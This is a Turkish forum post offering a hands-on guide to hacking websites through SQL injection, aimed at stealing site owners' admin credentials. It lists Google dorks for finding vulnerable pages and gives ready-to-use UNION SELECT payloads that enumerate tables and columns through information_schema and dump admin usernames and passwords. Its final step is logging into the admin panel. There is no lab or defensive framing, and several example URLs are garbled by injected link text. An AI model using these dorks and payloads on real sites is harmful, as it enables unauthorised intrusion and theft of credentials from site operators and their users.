Site hack’leme (SQL NEDİR)-(sql açıklı siteleri hack’leme)DETAYLI ANLATIM

#SQL NEDİR# Structured Query Language yani Yapılandırılmış Sorgu Dili olan SQL verileri yönetmek ve tasarlamak için kullanılan bir veritabanı yönetim sistemidir. SQL, kendisi...


#SQL NEDİR#

Structured Query Language yani Yapılandırılmış Sorgu Dili olan SQL verileri yönetmek ve tasarlamak için kullanılan bir veritabanı yönetim sistemidir. SQL, kendisi bir programlama diliolmamasına rağmen birçok kişi tarafından programlama dili olarak bilinir. SQL herhangi bir veri tabanıortamında kullanılan bir alt dildir. SQL ile yalnızca veri tabanıüzerinde işlem yapılabilir. SQL'e özgü cümleler kullanarak veri tabanına kayıt eklenebilir, olan kayıtlar değiştirilebilir, silinebilir ve bu kayıtlardan listeler oluşturulabilir.





#Neden açık olur?#



bazı SQL dilinde yazılmış sitelerde hatalar yani açıklar oluşa bilir bunun nedeni web masterların yani siteyi yazanların kodda hata yapmış olmalarıdır...





#SQL AÇIKLI SİTELERİ HACKLEMENİN MANTIĞI NEDİR?#



arkadaslar sql açıklı sitelerde bütün bilgiler database ye saklanır.bizler bu açıklardan faydalanarak database ye girebilir ve admin in kullanıcı adı ve şifresini ele geçirebiliriz.



#SQL AÇIKLI SİTE BULMAK#



sql açıklı siteleri dork taratarak bulabiliriz

şimdi aşağıda vereceğim siteleri googlede araktark sql dilinde yazılım siteleri bulabilirsiniz

siteleri buldukta sonra URL nin sonuna

' ( tırnak ) işareti koyun eger site error veriyosa site açıklı demektir.



=DORKLAR=

wladmin/login.asp

news.php?id=

index.php=id=

news_details.php?id=

picture.php?id=

display.php?id=

item.php?id=



NOT=BUNLAR SADECE BİR KAÇIDIR DAHA FAZLA ÜRETİLEBİLİR.



#SQL AÇIKLI SİTELERİ HACKLEMEK#



1-şimdi dorkumuzu google,yahoo vb yerlede arattık

2-açığımız sitenin sonuna( ' )işareti koyduk

OR| ornek.com: The Best Search Links on the Net'

3-site error verdi

4- sitenin sonna order by komutunu yazarak kolon sayısını aldık

OR| ornek.com: The Best Search Links on the Netorder by 12

eğer error veriyorsa 12 değildir 12 den daha düşük bir şeydir o zaman 12 den aşşagıya inicez mesala sayfa 5 e gelince düzelsin diyelim o zaman kolon sayımız 5

5- kolon sayımız ı bulduk (5)

6- sitenin sonuna union select komutuyla yazma izinli sayıyı ögrenicez bunu yaparken = önune - işareti koyucaz

OR| ornek.com: The Best Search Links on the Netunion select 1,2,3,4,5

neden union select 1,2,3,4,5 yazdık?

çünkü kolon sayımız 5 çıktı mesala 6 çıksaydı

union select 1,2,3,4,5 ,6 yazıcaktık

7- yazam izinli sayı çıktı mesala 2 olsun

8-şimdi urlenin sonundaki 2 yi silip tabloları çekicez ve url nin sonuna kodumuzu yazıcaz

OR| ornek.com: The Best Search Links on the Netunion select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()

9- tablolar çıktı

10-burada adminle ilgili olanı bulucaz bu admin,admin,user,users,admingroup,administrator vb. seyler olabilir bizimkisi admin olsun

11-username ve password un saklı olduğu sayfayı açalım

OR|ornek.com: The Best Search Links on the Netunion select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()

NOT=butun table ları column diye deiştirdik ama en sondaki aynı kaldı

12-kolonlar çıktı buda username ve passwodla ilgili,benzer olanları alıcaz bunlar username,password ve uname,pword gibi seyeler olabilir bizimkisi username,password olsun

13-sıra username passwordları çalmaya geldi bunun için şu kodu kullanıyoruz



OR|ornek.com: The Best Search Links on the Netunion select 1,group_concat(0x3a,username,0x3a,password),3,4,5 from admin

şimdi biz ne yaptık?



*kolon sayfasında username ve pasword çıkmıştı column_name bçlümüne bunları yazdık (0x3a,username,0x3a,password)

*from un sonuna admin yazdık bu da tablolada çıkan seydi yani kıosaca adminin username ve passwordu ne demiş olduk



14- havi j vb bir programla admin panelini buluyoruz , username ve passwordleri yazıyoruz işte paneldeyiz
 
131,912Konular
3,272,570Mesajlar
316,528Kullanıcılar
retyunSon Üye
Üst Alt